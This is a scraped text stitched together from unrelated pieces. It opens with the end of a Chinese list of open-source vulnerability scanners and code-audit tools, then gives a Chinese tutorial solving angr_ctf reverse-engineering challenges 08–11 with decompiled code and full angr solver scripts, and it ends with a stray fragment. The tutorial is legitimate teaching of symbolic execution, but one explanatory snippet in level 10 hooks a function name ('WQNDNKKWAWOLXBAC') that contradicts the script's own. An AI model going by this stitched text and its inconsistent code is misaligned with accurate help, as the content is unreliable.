* <https://github.com/OneSourceCat/phpvulhunter> (静态php代码审计)
* <https://github.com/Qihoo360/phptrace> (跟踪、分析PHP运行情况的工具）
* <https://github.com/ajinabraham/NodeJsScan> (NodeJS应用代码审计）
* <https://github.com/pwnsdx/BadCode> （PHP代码审计）
* <https://github.com/thesp0nge/dawnscanner> （ruby源码审计）
* <https://github.com/presidentbeef/brakeman> （Ruby on Rails应用程序的安全漏洞）
* <https://github.com/ajinabraham/Mobile-Security-Framework-MobSF/> （app黑盒审计）
* <https://github.com/alibaba/iOSSecAudit> （iOS安全审计）
#### 模块化扫描、综合扫描器
* <https://github.com/az0ne/AZScanner> (自动漏洞扫描器，子域名爆破，端口扫描，目录爆破，常用框架漏洞检测)
* <https://github.com/blackye/lalascan> (分布式web漏洞扫描框架，集合owasp top10漏洞扫描和边界资产发现能力)
* <https://github.com/blackye/BkScanner> (BkScanner 分布式、插件化web漏洞扫描器)
* <https://github.com/ysrc/GourdScanV2> （被动式漏洞扫描)
* <https://github.com/alpha1e0/pentestdb> (WEB渗透测试数据库)
* <https://github.com/netxfly/passive_scan> (基于http代理的web漏洞扫描器)
* <https://github.com/1N3/Sn1per> (自动化扫描器，包括中间件扫描以及设备指纹识别)
* <https://github.com/RASSec/pentestEr_Fully-automatic-scanner> （定向全自动化渗透测试工具）
* <https://github.com/3xp10it/3xp10it> （自动化渗透测试框架)
* <https://github.com/Lcys/lcyscan> (扫描效果未验证）
* <https://github.com/Xyntax/POC-T> （渗透测试插件化并发框架）
* <https://github.com/v3n0m-Scanner/V3n0M-Scanner> （Scanner in Python3.5 for SQLi/XSS/LFI/RFI and other Vulns）
* <https://github.com/Skycrab/leakScan> （web端的在线漏洞扫描）
* <https://github.com/zhangzhenfeng/AnyScan> (开发中...)
#### Android系列工具：
* <http://sec-redclub.com/index.php/archives/439/>
#### DDOS防护：
* <https://github.com/ywjt/Dshield>
#### Database firewall：
* <https://nim4.github.io/DBShield/>
#### waf开源及规则：
* <https://github.com/xsec-lab/x-waf>
* <https://github.com/loveshell/ngx_lua_waf>
* <https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/master/base_rules>
* * *
### 收集目的
本仓库收集的初衷是向各类行业安全从业人员提供在企业信息安全防护体系建设过程中可以参考的各种开源或非开源安全扫描工具，以帮助安全从业人员对自身业务进行自检，从而提高安全性。
### 免责说明
请勿用于非法的用途，否则造成的严重后果与本项目无关。
### 致谢
* **<https://github.com/We5ter/Scanners-Box> （大部分内容转载于此）
* **@0c0c0f**
* **@藏形匿影(挖财网)**
* **Mottoin团队**
* **@BlackHole**
* **@CodeColorist**
* **@3xp10it**
* **re4lity** | 社区文章 |
# Angr_CTF从精通到弃坑
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
PS：因为最近开始考试，耽误了很多时间，重新开始恢复
在之前的学习中我们学会了利用angr符号化寄存器、栈上的值、内存、malloc开辟的动态内存和文件系统，感受到了angr强大的仿真系统，在CTF中题目的简单利用，接下来我们要学习angr的更多的高级用法
> 由于angr的api一直有一些变化，网上的很多脚本需要修改才能运行
## 08_angr_constraints
该题主要学习通过添加约束条件来解决路径爆炸问题
首先检查一下该程序：
syc@ubuntu:~/Desktop/TEMP$ checksec 08_angr_constraints
[*] '/home/syc/Desktop/TEMP/08_angr_constraints'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
然后进入IDA查看该：
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed int i; // [esp+Ch] [ebp-Ch]
password = 1146115393;
dword_804A044 = 1380994638;
dword_804A048 = 1381647695;
dword_804A04C = 1112233802;
memset(&buffer, 0, 0x11u);
printf("Enter the password: ");
__isoc99_scanf("%16s", &buffer);
for ( i = 0; i <= 15; ++i )
*(_BYTE *)(i + 0x804A050) = complex_function(*(char *)(i + 0x804A050), 15 - i);
if ( check_equals_AUPDNNPROEZRJWKB(&buffer, 16) )
puts("Good Job.");
else
puts("Try again.");
return 0;
}
int __cdecl complex_function(signed int a1, int a2)
{
if ( a1 <= 64 || a1 > 90 )
{
puts("Try again.");
exit(1);
}
return (a1 - 65 + 53 * a2) % 26 + 65;
}
_BOOL4 __cdecl check_equals_AUPDNNPROEZRJWKB(int a1, unsigned int a2)
{
int v3; // [esp+8h] [ebp-8h]
unsigned int i; // [esp+Ch] [ebp-4h]
v3 = 0;
for ( i = 0; i < a2; ++i )
{
if ( *(_BYTE *)(i + a1) == *(_BYTE *)(i + 0x804A040) )
++v3;
}
return v3 == a2;
}
### 路径爆炸
通过我们之前的学习体验感觉到angr这么强大的应用怎么没有在实际的测试生产中大规模应用，这是因为给符号执行技术在复杂程序的测试案例生成的应用中造成阻碍的两个大问题：一个是约束求解问题，另一个就是路径爆炸问题
所谓符号执行就是把程序中的变量符号化去模拟程序运行，搜集路径约束条件并使用约束求解器对其进行求解后得到结果。当一个程序存在循环结构时，即使逻辑十分简单也可能会产生规模十分巨大的执行路径。在符号执行的过程中，每个分支点都会产生两个实例，当程序中存在循环结构展开时，可能会导致程序分支路径数呈指数级增长，即路径爆炸问题。故我们需要提供更多的约束条件控制路径爆照问题
回到这个题目本身
_BOOL4 __cdecl check_equals_AUPDNNPROEZRJWKB(int a1, unsigned int a2)
{
int v3; // [esp+8h] [ebp-8h]
unsigned int i; // [esp+Ch] [ebp-4h]
v3 = 0;
for ( i = 0; i < a2; ++i )
{
if ( *(_BYTE *)(i + a1) == *(_BYTE *)(i + 0x804A040) )
++v3;
}
return v3 == a2;
}
`check_equals_AUPDNNPROEZRJWKB()`函数就是一个字符一个字符的比较，就会产生路径爆炸问题，原始也是每次调用循环中的if语句（16次）时，计算机都需要产生判断分支，从而导致2
^ 16 =
65,536分支，这将花费很长时间来测试并获得我们的答案。我们解决这个问题的答案，直接用约束条件取代这个判断函数，用字符串直接比较约束，从而避免因为循环和判断语句逐一字符比较而产生分支引起路径爆炸问题
### 约束求解
在angr中提供了可以用加入一个约束条件到一个state中的方法（`state.solver.add`），将每一个符号化的布尔值作为一个关于符号变量合法性的断言。之后可以通过使用`state.solver.eval(symbol)`对各个断言进行评测来求出一个合法的符号值（若有多个合法值，返回其中的一个）。简单来说就是通过
`.add` 对 state 对象添加约束，并使用 `.eval` 接口求解，得到符号变量的可行解
例如：
# fresh state
>>> state = proj.factory.entry_state()
>>> state.solver.add(x - y >= 4)
>>> state.solver.add(y > 0)
>>> state.solver.eval(x)
5
>>> state.solver.eval(y)
1
>>> state.solver.eval(x + y)
6
总而言之先放EXP，再逐步分析：
import angr
import sys
import claripy
def Go():
path_to_binary = "./08_angr_constraints"
project = angr.Project(path_to_binary, auto_load_libs=False)
start_address = 0x8048625
buff_addr = 0x0804A050
address_to_check_constraint = 0x08048565
initial_state = project.factory.blank_state(addr=start_address)
char_size_in_bits = 8
passwd_len = 16
passwd0 = claripy.BVS('passwd0', char_size_in_bits*passwd_len)
initial_state.memory.store(buff_addr, passwd0)
simulation = project.factory.simgr(initial_state)
simulation.explore(find=address_to_check_constraint)
if simulation.found:
solution_state = simulation.found[0]
constrained_parameter_address = buff_addr
constrained_parameter_size_bytes = 16
constrained_parameter_bitvector = solution_state.memory.load(
constrained_parameter_address,
constrained_parameter_size_bytes
)
constrained_parameter_desired_value = 'AUPDNNPROEZRJWKB'
solution_state.solver.add(constrained_parameter_bitvector == constrained_parameter_desired_value)
solution0 = solution_state.solver.eval(passwd0,cast_to=bytes)
print("[+] Success! Solution is: {0}".format(solution0))
else:
raise Exception('Could not find the solution')
if __name__ == "__main__":
Go()
运行一下测试：
.text:080485C4 mov ds:password, 'DPUA'
.text:080485CE mov ds:dword_804A044, 'RPNN'
.text:080485D8 mov ds:dword_804A048, 'RZEO'
.text:080485E2 mov ds:dword_804A04C, 'BKWJ'
通过这里不难的得出需要比较的字符串是 **AUPDNNPROEZRJWKB** （虽然从函数名也能看出来，但是还是从汇编解释一下为好）
首先总结一下我们的思路：
* 用户输入的字符串存储在buffer，buffer的地址为：0x804A050
* 比较函数`check_equals_AUPDNNPROEZRJWKB`的地址为：0x08048565
* 其实只要当程序运行到地址0x08048565时，处于buffer地址内的字符串等于AUPDNNPROEZRJWKB即可
* 添加上述约束条件即可一步得出结果，而不用进入比较函数逐一字符比较而产生路径爆炸问题
故一开始先填入需要利用到的地址：
path_to_binary = "./08_angr_constraints"
project = angr.Project(path_to_binary, auto_load_libs=False)
start_address = 0x8048625
buff_addr = 0x0804A050
address_to_check_constraint = 0x08048565
initial_state = project.factory.blank_state(addr=start_address)
因为输入是`scanf("%16s", &buffer);`，如之前一样，不难得出我们需要构建的符号位向量的参数
char_size_in_bits = 8
passwd_len = 16
passwd0 = claripy.BVS('passwd0', char_size_in_bits*passwd_len)
initial_state.memory.store(buff_addr, passwd0)
然后初始化并执行模拟管理器，运行到调用check函数的状态
simulation = project.factory.simgr(initial_state)
simulation.explore(find=address_to_check_constraint)
然后利用使用 `state.memory` 的 `.load(addr, size)`接口读出`buffer`处的内存数据
if simulation.found:
solution_state = simulation.found[0]
constrained_parameter_address = buff_addr
constrained_parameter_size_bytes = 16
constrained_parameter_bitvector = solution_state.memory.load(
constrained_parameter_address,
constrained_parameter_size_bytes
)
利用slover求解引擎提供的add方法加入约束条件
constrained_parameter_desired_value = 'AUPDNNPROEZRJWKB'
solution_state.solver.add(constrained_parameter_bitvector == constrained_parameter_desired_value)
接下来和之前的题目类似，不再赘述
## 09_angr_hooks
这题如题目所言，主要就是学习使用angr的hook技术解决路径爆炸问题，与我们之前利用的约束条件不同，hook技术则更为强大
> 以下内容来自维基百科：
>
> **钩子编程**
> （hooking），也称作“挂钩”，是计算机程序设计术语，指通过拦截软件模块间的函数调用、消息传递、事件传递来修改或扩展操作系统、应用程序或其他软件组件的行为的各种技术。处理被拦截的函数调用、事件、消息的代码，被称为
> **钩子** （hook）。
>
> 简单来说就是用我们自己设计的函数去取代被hook的函数
首先检查一下该程序：
syc@ubuntu:~/Desktop/TEMP$ checksec 09_angr_hooks
[*] '/home/syc/Desktop/TEMP/09_angr_hooks'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
用IDA查看一下：
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BOOL4 v3; // eax
signed int i; // [esp+8h] [ebp-10h]
signed int j; // [esp+Ch] [ebp-Ch]
qmemcpy(password, "XYMKBKUHNIQYNQXE", 16);
memset(buffer, 0, 0x11u);
printf("Enter the password: ");
__isoc99_scanf("%16s", buffer);
for ( i = 0; i <= 15; ++i )
*(_BYTE *)(i + 0x804A054) = complex_function(*(char *)(i + 0x804A054), 18 - i);
equals = check_equals_XYMKBKUHNIQYNQXE(buffer, 16);
for ( j = 0; j <= 15; ++j )
*(_BYTE *)(j + 0x804A044) = complex_function(*(char *)(j + 0x804A044), j + 9);
__isoc99_scanf("%16s", buffer);
v3 = equals && !strncmp(buffer, password, 0x10u);
equals = v3;
if ( v3 )
puts("Good Job.");
else
puts("Try again.");
return 0;
}
_BOOL4 __cdecl check_equals_XYMKBKUHNIQYNQXE(int a1, unsigned int a2)
{
int v3; // [esp+8h] [ebp-8h]
unsigned int i; // [esp+Ch] [ebp-4h]
v3 = 0;
for ( i = 0; i < a2; ++i )
{
if ( *(_BYTE *)(i + a1) == *(_BYTE *)(i + 0x804A044) )
++v3;
}
return v3 == a2;
}
int __cdecl complex_function(signed int a1, int a2)
{
if ( a1 <= 64 || a1 > 90 )
{
puts("Try again.");
exit(1);
}
return (a1 - 65 + 23 * a2) % 26 + 65;
}
其实和上一题并没有什么太大的变化，主要是我们上一题是使用增加条件约束的方法减少路径分支，而这一题我们直接利用hook改写`complex_function`函数为我们自己的函数
### Hook
angr使用一系列引擎（SimEngine的子类）来模拟被执行代码对输入状态产生的影响。其中就有`hook
engine`来处理hook的情况。默认情况下，angr 会使用 `SimProcedures` 中的符号摘要替换库函数，即设置 Hooking，这些
python 函数摘要高效地模拟库函数对状态的影响。可以通过 `angr.procedures`或 `angr.SimProcedures` 查看列表
`SimProcedure` 其实就是 Hook 机制，可以通过 `proj.hook(addr,hook)` 设置，其中 hook 是一个
`SimProcedure` 实例。 通过 `.is_hooked / .unhook / .hook_by` 进行管理。将
`proj.hook(addr)` 作为函数装饰器，可以编写自己的 hook 函数。还可以通过 `proj.hook_symbol(name,hook)`
hook 函数
一个简单的例子：
>>> @project.hook(0x1234, length=5)
... def set_rax(state):
... state.regs.rax = 1
其中第一个参数即需要Hook的调用函数的地址，第二个参数`length`即指定执行引擎在完成挂钩后应跳过多少字节。具体多少字节由Hook处地址的指令长度确定，例如本题：
我们需要Hook地址的机器指令长度为5个字节，故最后的hook函数：
@project.hook(0x80486B3, length=5)
老样子先放最后EXP，再逐一分析：
import angr
import sys
import claripy
def Go():
path_to_binary = "./09_angr_hooks"
project = angr.Project(path_to_binary, auto_load_libs=False)
initial_state = project.factory.entry_state()
check_equals_called_address = 0x80486B3
instruction_to_skip_length = 5
@project.hook(check_equals_called_address, length=instruction_to_skip_length)
def skip_check_equals_(state):
user_input_buffer_address = 0x804A054
user_input_buffer_length = 16
user_input_string = state.memory.load(
user_input_buffer_address,
user_input_buffer_length
)
check_against_string = 'XKSPZSJKJYQCQXZV'
register_size_bit = 32
state.regs.eax = claripy.If(
user_input_string == check_against_string,
claripy.BVV(1, register_size_bit),
claripy.BVV(0, register_size_bit)
)
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(1)
if b'Good Job.\n' in stdout_output:
return True
else:
return False
def should_abort(state):
stdout_output = state.posix.dumps(1)
if b'Try again.\n' in stdout_output:
return True
else:
return False
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
for i in simulation.found:
solution_state = i
solution = solution_state.posix.dumps(0)
print("[+] Success! Solution is: {0}".format(solution.decode('utf-8')))
#print(solution0)
else:
raise Exception('Could not find the solution')
if __name__ == "__main__":
Go()
运行一下查看结果：
下面来逐步分析：
由于Angr可以处理对scanf的初始调用，因此我们可以从头开始
path_to_binary = "./09_angr_hooks"
project = angr.Project(path_to_binary, auto_load_libs=False)
initial_state = project.factory.entry_state()
如之前分析的而言，首先找到需要Hook的函数地址`0x080486B3`，然后设定指令长度
check_equals_called_address = 0x80486B3
instruction_to_skip_length = 5
然后我们需要在在`[@project](https://github.com/project
"@project").hook`语句之后书写我们的模拟函数。然后如上题一致，我们利用使用 `state.memory` 的 `.load(addr,
size)`接口读出`buffer`处的内存数据，与答案进行比较
@project.hook(check_equals_called_address, length=instruction_to_skip_length)
def skip_check_equals_(state):
user_input_buffer_address = 0x804A054
user_input_buffer_length = 16
user_input_string = state.memory.load(
user_input_buffer_address,
user_input_buffer_length
)
check_against_string = 'XKSPZSJKJYQCQXZV'
然后这里的关键是，我们模拟一个函数就是把它视作一个黑盒，能成功模拟输入相对应的输出即可，所以我们需要处理check函数的返回值
不难发现这个函数是利用EAX寄存器作为返回值，然后成功则返回1，不成功则返回0，还需要注意在构建符号位向量的时候EAX寄存器是32位寄存器
register_size_bit = 32
state.regs.eax = claripy.If(
user_input_string == check_against_string,
claripy.BVV(1, register_size_bit),
claripy.BVV(0, register_size_bit)
)
接下来同之前差不多，不再赘述
## 10_angr_simprocedures
这题主要学习如何利用函数名进行hook，而不是复杂的利用函数的调用地址
首先检查一下程序：
syc@ubuntu:~/Desktop/TEMP$ checksec 10_angr_simprocedures
[*] '/home/syc/Desktop/TEMP/10_angr_simprocedures'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
用IDA打开看一下：
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed int i; // [esp+20h] [ebp-28h]
char s[17]; // [esp+2Bh] [ebp-1Dh]
unsigned int v6; // [esp+3Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
memcpy(&password, "ORSDDWXHZURJRBDH", 0x10u);
memset(s, 0, 0x11u);
printf("Enter the password: ");
__isoc99_scanf("%16s", s);
for ( i = 0; i <= 15; ++i )
s[i] = complex_function(s[i], 18 - i);
if ( check_equals_ORSDDWXHZURJRBDH(s, 16) )
puts("Good Job.");
else
puts("Try again.");
return 0;
}
int __cdecl complex_function(signed int a1, int a2)
{
if ( a1 <= 64 || a1 > 90 )
{
puts("Try again.");
exit(1);
}
return (a1 - 65 + 29 * a2) % 26 + 65;
}
_BOOL4 __cdecl check_equals_ORSDDWXHZURJRBDH(int a1, unsigned int a2)
{
int v3; // [esp+8h] [ebp-8h]
unsigned int i; // [esp+Ch] [ebp-4h]
v3 = 0;
for ( i = 0; i < a2; ++i )
{
if ( *(_BYTE *)(i + a1) == *(_BYTE *)(i + 0x804C048) )
++v3;
}
return v3 == a2;
}
这一题与上一题相似， 我们必须替换check_equals函数
。但是，我们可以发现check_equals被调用了很多次，以致于无法通过地址Hook每个调用位置。
这时我们必须使用SimProcedure编写我们自己的check_equals实现，然后通过函数名Hook所有对`check_equals`的调用
### Hooking Symbols
每一个程序都有一个符号表，angr可以确保从每个导入符号都可以解析出地址，可以使用angr提供的`Project.hook_symbol`API来通过符号名来Hook函数所有的调用地址，这意味着可以用自己的代码替换函数，一个简单的例子：
>>> class NotVeryRand(SimProcedure):
... def run(self, return_values=None):
... rand_idx = self.state.globals.get('rand_idx', 0) % len(return_values)
... out = return_values[rand_idx]
... self.state.globals['rand_idx'] = rand_idx + 1
... return out
>>> project.hook_symbol('rand', NotVeryRand(return_values=[413, 612, 1025, 1111]))
老样子别说话，上EXP：
import angr
import claripy
import sys
def Go():
path_to_binary = "./10_angr_simprocedures"
project = angr.Project(path_to_binary, auto_load_libs=False)
initial_state = project.factory.entry_state()
class ReplacementCheckEquals(angr.SimProcedure):
def run(self, to_check, length):
user_input_buffer_address = to_check
user_input_buffer_length = length
user_input_string = self.state.memory.load(
user_input_buffer_address,
user_input_buffer_length
)
check_against_string = 'ORSDDWXHZURJRBDH'
return claripy.If(
user_input_string == check_against_string,
claripy.BVV(1, 32),
claripy.BVV(0, 32)
)
check_equals_symbol = 'check_equals_ORSDDWXHZURJRBDH'
project.hook_symbol(check_equals_symbol, ReplacementCheckEquals())
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(1)
if b'Good Job.\n' in stdout_output:
return True
else:
return False
def should_abort(state):
stdout_output = state.posix.dumps(1)
if b'Try again.\n' in stdout_output:
return True
else:
return False
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
for i in simulation.found:
solution_state = i
solution = solution_state.posix.dumps(0)
print("[+] Success! Solution is: {0}".format(solution.decode('utf-8')))
#print(solution0)
else:
raise Exception('Could not find the solution')
if __name__ == "__main__":
Go()
运行一下查看结果
这里前面的部分都可以直接照抄上面一题的代码，关键是定义一个继承angr.SimProcedure的类，以利用Angr的SimProcedures。
class ReplacementCheckEquals(angr.SimProcedure):
SimProcedure用Python编写的我们自己的函数代替了原来函数。
除了用Python编写之外，该函数的行为与用C编写的任何函数基本相同。`self`之后的任何参数都将被视为要替换的函数的参数， 参数将是符号位向量。
另外，Python可以以常用的Python方式返回，Angr将以与原来函数相同的方式对待它
我们先来看一下函数原型：
_BOOL4 __cdecl check_equals_ORSDDWXHZURJRBDH(char *to_check, unsigned int length)
{
int v3; // [esp+8h] [ebp-8h]
unsigned int i; // [esp+Ch] [ebp-4h]
v3 = 0;
for ( i = 0; i < length; ++i )
{
if ( to_check[i] == *(_BYTE *)(i + 0x804C048) )
++v3;
}
return v3 == length;
}
不难发现函数的第一个参数是待检测字符串首地址指针，然后就是字符串的长度，接下来我们就可以开始书写我们的模拟函数
def run(self, to_check, length):
#即第一个参数
user_input_buffer_address = to_check
#即第二个参数
user_input_buffer_length = length
#使用self.state在SimProcedure中查找系统状态，从该状态的内存中提取出数据
user_input_string = self.state.memory.load(
user_input_buffer_address,
user_input_buffer_length
)
check_against_string = 'ORSDDWXHZURJRBDH'
#如果符合条件则返回输入的符号位向量
return claripy.If(
user_input_string == check_against_string,
claripy.BVV(1, 32),
claripy.BVV(0, 32)
)
Hook上check_equals函数， angr会自动查找与该函数符号关联的地址
check_equals_symbol = 'check_equals_WQNDNKKWAWOLXBAC'
project.hook_symbol(check_equals_symbol, ReplacementCheckEquals())
之后的操作与其他题目类似，不再赘述
## 11_angr_sim_scanf
如题，这题主要是学习如何hook`scanf`函数，步骤其实与上一题是几乎一致的，得先找到需要hook的函数符号，然后编写一个继承angr.SimProcedure的类，然后利用`hook_symbol`对函数进行hook
首先检测一下程序：
syc@ubuntu:~/Desktop/TEMP$ checksec 11_angr_sim_scanf
[*] '/home/syc/Desktop/TEMP/11_angr_sim_scanf'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
打开IDA查看一下程序：
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BOOL4 v3; // eax
int i; // [esp+20h] [ebp-28h]
char s[4]; // [esp+28h] [ebp-20h]
int v7; // [esp+2Ch] [ebp-1Ch]
unsigned int v8; // [esp+3Ch] [ebp-Ch]
v8 = __readgsdword(0x14u);
print_msg();
memset(s, 0, 0x14u);
qmemcpy(s, "DCLUESMR", 8);
for ( i = 0; i <= 7; ++i )
s[i] = complex_function(s[i], i);
printf("Enter the password: ");
__isoc99_scanf("%u %u", buffer0, buffer1);
v3 = !strncmp(buffer0, s, 4u) && !strncmp(buffer1, (const char *)&v7, 4u);
if ( v3 )
puts("Good Job.");
else
puts("Try again.");
return 0;
}
int __cdecl complex_function(signed int a1, int a2)
{
if ( a1 <= 64 || a1 > 90 )
{
puts("Try again.");
exit(1);
}
return (a1 - 65 + 29 * a2) % 26 + 65;
}
还记得之前我们有一题也是scanf函数的复杂格式化字符串处理吗？没错，就是`03_angr_simbolic_registers`，那一题我们是利用符号化寄存器实现了scanf函数的多参数处理。而在这一题中，我们采用的是Hook重写库函数`scnaf`实现复杂格式化字符串的支持
客官新鲜的二两EXP这就奉上
import angr
import claripy
import sys
def Go():
path_to_binary = "./11_angr_sim_scanf"
project = angr.Project(path_to_binary, auto_load_libs=False)
initial_state = project.factory.entry_state()
class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, param0, param1):
scanf0 = claripy.BVS('scanf0', 32)
scanf1 = claripy.BVS('scanf1', 32)
scanf0_address = param0
self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
scanf1_address = param1
self.state.memory.store(scanf1_address, scanf1, endness=project.arch.memory_endness)
self.state.globals['solutions'] = (scanf0, scanf1)
scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(1)
if b'Good Job.\n' in stdout_output:
return True
else:
return False
def should_abort(state):
stdout_output = state.posix.dumps(1)
if b'Try again.\n' in stdout_output:
return True
else:
return False
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
for i in simulation.found:
solution_state = i
stored_solutions = solution_state.globals['solutions']
scanf0_solution = solution_state.solver.eval(stored_solutions[0])
scanf1_solution = solution_state.solver.eval(stored_solutions[1])
print("[+] Success! Solution is: {0} {1}".format(scanf0_solution,scanf1_solution))
#print(scanf0_solution, scanf1_solution)
else:
raise Exception('Could not find the solution')
if __name__ == "__main__":
Go()
运行一下查看结果
之前的步骤很多都和上一题一样，只不过在编写模拟的scanf函数的时候有一些不太一样
class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, param0, param1):
scanf0 = claripy.BVS('scanf0', 32)
scanf1 = claripy.BVS('scanf1', 32)
scanf0_address = param0
self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
scanf1_address = param1
self.state.memory.store(scanf1_address, scanf1, endness=project.arch.memory_endness)
还记得之前在`05_angr_symbolic_memory`我们学会的如何符号化内存吗？因为我们这里Scanf是要向内存写入数据的，于是我们利用使用
`state.memory` 的 `.store(addr, val)` 接口将符号位向量写入两个字符串的内存区域
### globals
这里的关键我们都知道Python的变量生存周期，在这里`scanf0`和`scanf1`是函数`ReplacementScanf`的局部变量，为了让函数外部也能获得我们输入的符号位向量，从而调用求解器获得答案，需要将这两个符号位向量变为全局变量，这里我们需要调用带有全局状态的globals插件中“保存”对我们的符号值的引用。globals插件允许使用列表，元组或多个键的字典来存储多个位向量
self.state.globals['solutions'] = (scanf0, scanf1)
之后的操作与其他题目类似，不再赘述
## 参考文献
【1】angr官方文档—— <https://docs.angr.io/core-concepts>
【2】angr 系列教程(一）核心概念及模块解读—— <https://xz.aliyun.com/t/7117#toc-14>
【3】王田园. 符号执行的路径爆炸及约束求解问题研究[D].大连海事大学,2019.
【4】曹琰. 面向软件脆弱性分析的并行符号执行技术研究[D].解放军信息工程大学,2013. | 社区文章 |
Subsets and Splits